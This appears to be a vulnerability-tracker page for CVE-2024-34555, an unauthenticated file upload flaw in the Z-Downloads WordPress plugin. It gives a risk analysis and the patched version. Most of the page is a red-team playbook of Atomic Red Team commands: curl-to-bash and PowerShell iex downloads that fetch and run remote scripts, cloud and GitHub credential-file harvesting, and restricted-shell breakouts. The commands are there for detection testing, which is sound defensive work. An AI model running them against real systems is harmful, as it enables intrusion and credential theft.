CVE-2024-34555

CRITICAL Pub 13/05 Upd 28/04

Overview

This vulnerability is an unrestricted file upload flaw classified under CWE-434 affecting the URBAN BASE Z-Downloads plugin up to version 1.11.3. The root cause is the lack of proper validation or restriction on file types during the upload process. The affected component is the file upload functionality within the Z-Downloads plugin, which fails to enforce controls on dangerous file extensions or content types.

Vulnerability Description

Unrestricted Upload of File with Dangerous Type vulnerability in URBAN BASE Z-Downloads.This issue affects Z-Downloads: from n/a through 1.11.3.

Impact

An unauthenticated attacker can upload malicious files, including web shells or scripts, leading to full server compromise. No authentication or user interaction is required to exploit this vulnerability. Successful exploitation can result in unauthorized access to sensitive data, remote code execution, and potential lateral movement within the affected environment, severely impacting business operations and data confidentiality.

Solution

Apply the security update provided in URBAN BASE Z-Downloads plugin version 1.11.4 or later, as detailed in the advisory available at https://patchstack.com/database/vulnerability/z-downloads/wordpress-z-downloads-plugin-1-11-3-arbitrary-file-upload-vulnerability?_s_id=cve. The vendor recommends immediate upgrade to this patched version to mitigate the unrestricted file upload issue. No alternative workarounds are specified in the advisory.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability associated with unrestricted file uploads in the Z-Downloads component of URBAN BASE poses a significant risk to the security posture of systems utilizing this software. This flaw allows an attacker to upload files of any type without proper validation or restrictions, which can lead to the execution of malicious code on the server. Specifically, the lack of stringent checks on file types enables the upload of executable files, scripts, or other harmful content that could be executed by the server or accessed by users. This vulnerability is particularly concerning as it can be exploited without requiring sophisticated techniques, making it accessible to a wide range of attackers.

Attack vectors for this vulnerability are varied and can be executed through straightforward methods. An attacker could craft a malicious file, such as a PHP script or a web shell, and upload it through the Z-Downloads interface. Once the file is successfully uploaded, the attacker can then execute it by navigating to the file's URL, leading to unauthorized access to the server. Additionally, the attacker might use social engineering tactics to trick users into downloading the malicious file, which could then compromise their systems. The ease of exploitation means that even those with limited technical skills can potentially leverage this vulnerability for nefarious purposes.

The real-world impact of this vulnerability is profound, particularly for organizations that rely on Z-Downloads for file management. Successful exploitation could lead to data breaches, unauthorized access to sensitive information, and significant reputational damage. For businesses, the consequences extend beyond immediate financial loss; they may face regulatory scrutiny, legal liabilities, and a loss of customer trust. The potential for ransomware deployment or the establishment of persistent backdoors further exacerbates the risk, as attackers could maintain long-term access to the compromised systems, leading to ongoing exploitation and data exfiltration.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. First and foremost, it is crucial to apply patches and updates provided by URBAN BASE to remediate the vulnerability in Z-Downloads. Additionally, organizations should enforce strict file type validation and implement a whitelist of allowed file types to prevent the upload of potentially harmful files. Employing web application firewalls (WAFs) can also help to monitor and filter out malicious requests. Regular security audits and penetration testing should be conducted to identify and address any potential weaknesses in the system. Furthermore, educating users about the risks associated with file uploads and the importance of verifying the authenticity of files can reduce the likelihood of successful exploitation.

In conclusion, the unrestricted file upload vulnerability in Z-Downloads represents a critical security concern for organizations utilizing this software. The potential for exploitation is high, and the consequences of a successful attack can be devastating. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to implement effective detection and mitigation strategies. Proactive measures, including timely updates, strict file validation, and user education, are essential to safeguarding against this and similar vulnerabilities in the future.



The CVSS score for CVE-2024-34555 has been revised upward to the maximum severity of 10.0, reflecting a reassessment of the vulnerability’s potential impact and exploitability. This adjustment aligns with a slight increase in the EPSS score, indicating a modest rise in the likelihood of exploitation in the wild, although the trend remains stable without signs of rapid escalation. While no new exploit techniques or active campaigns have been detected by our telemetry, the elevation to a critical CVSS rating underscores the urgency for defenders to prioritize this vulnerability within their risk management frameworks. The updated scoring signals that the vulnerability’s capacity to facilitate unrestricted file uploads with dangerous types poses an immediate and severe threat vector, potentially enabling attackers to bypass security controls with minimal barriers. Consequently, organizations should recognize that the threat level has intensified, warranting heightened vigilance despite the absence of new exploit activity. This recalibration serves as a critical indicator that the vulnerability’s exploitation potential is now considered at the highest level, emphasizing the need for continuous monitoring and rapid response readiness.

Affected Products

No CPE information available.

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

File Upload Vulnerabilities
100% file_upload
Remote Code Execution
29% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-1 Accessing Functionality Not Properly Constrained by ACLs
30%
High High

Red Team Playbook

44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell) 
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD) 
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell) 
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD) 
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell) 
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell) 
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell) 
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash) 
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell) 
Get-NetTCPConnection
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash) 
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell) 
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell) 
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell) 
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell) 
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell) 
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell) 
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell) 
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell) 
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell) 
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell) 
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell) 
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell) 
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell) 
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell) 
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell) 
cat /etc/shells
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell) 
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD) 
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD) 
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash) 
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell) 
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell) 
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash) 
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD) 
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell) 
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-34555
patchstack.com
GitHub CVE vdb-entry
https://patchstack.com/database/vulnerability/z-downloads/wordpress-z-downloads-plugin-1-11-3-arbitrary-file-upload-vulnerability?_s_id=cve